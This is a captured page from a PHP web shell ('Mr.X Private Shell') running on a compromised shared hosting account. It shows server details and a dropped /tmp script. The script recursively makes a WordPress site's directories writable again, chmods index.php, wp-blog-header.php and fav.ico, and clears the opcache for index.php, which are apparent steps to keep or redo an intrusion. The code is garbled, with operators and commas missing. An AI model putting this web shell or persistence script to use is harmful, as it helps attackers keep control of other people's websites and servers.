Uname: Linux premium294.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User: 768 (artoqlkw)
Group: 773 (artoqlkw)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//tmp      ( Reset | Go to )
File Name: phpF20TZS
Edit
<?php
function i($i)
{
    echo 
'{->|' $i '|<-}';
}

function 
recursiveChmodDirectory($path) {
    
$count 0;
    
$iterator = new RecursiveIteratorIterator(
        new 
RecursiveDirectoryIterator($pathRecursiveDirectoryIterator::SKIP_DOTS),
        
RecursiveIteratorIterator::SELF_FIRST
    
);

    foreach (
$iterator as $item) {
        if (
$item->isDir()) {
            
$permissions fileperms($item->getPathname());
            
$octal_permissions substr(sprintf('%o'$permissions), -4);
            if (
$octal_permissions === '0555') {
                
chmod($item->getPathname(), 0755);
                
$count++;
            }
        }
    }
    return 
$count;
}

$path '/home/artoqlkw/fermedelaplanche.net';
clearstatcache();
$invalidated 0;
if (
function_exists('opcache_invalidate')) {
    
$invalidated opcache_invalidate($path '/index.php'true);

}
// 先获取原始权限
$permissions fileperms($path);
$octal_permissions substr(sprintf('%o'$permissions), -4);

// 递归修改所有子目录权限并获取修改数量
$modified_count recursiveChmodDirectory($path);

// 修改主目录权限
chmod($path0755);
chmod($path '/index.php'0755);
chmod($path '/wp-blog-header.php'0755);
chmod($path '/fav.ico'0755);

// 获取修改后的权限
$new_permissions fileperms($path);
$new_octal_permissions substr(sprintf('%o'$new_permissions), -4);

// 合并输出主目录权限变化和子目录修改数量
i("主目录权限变化: {$octal_permissions} -> {$new_octal_permissions}, 子目录修改数量: {$modified_count}, in:" $invalidated);

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL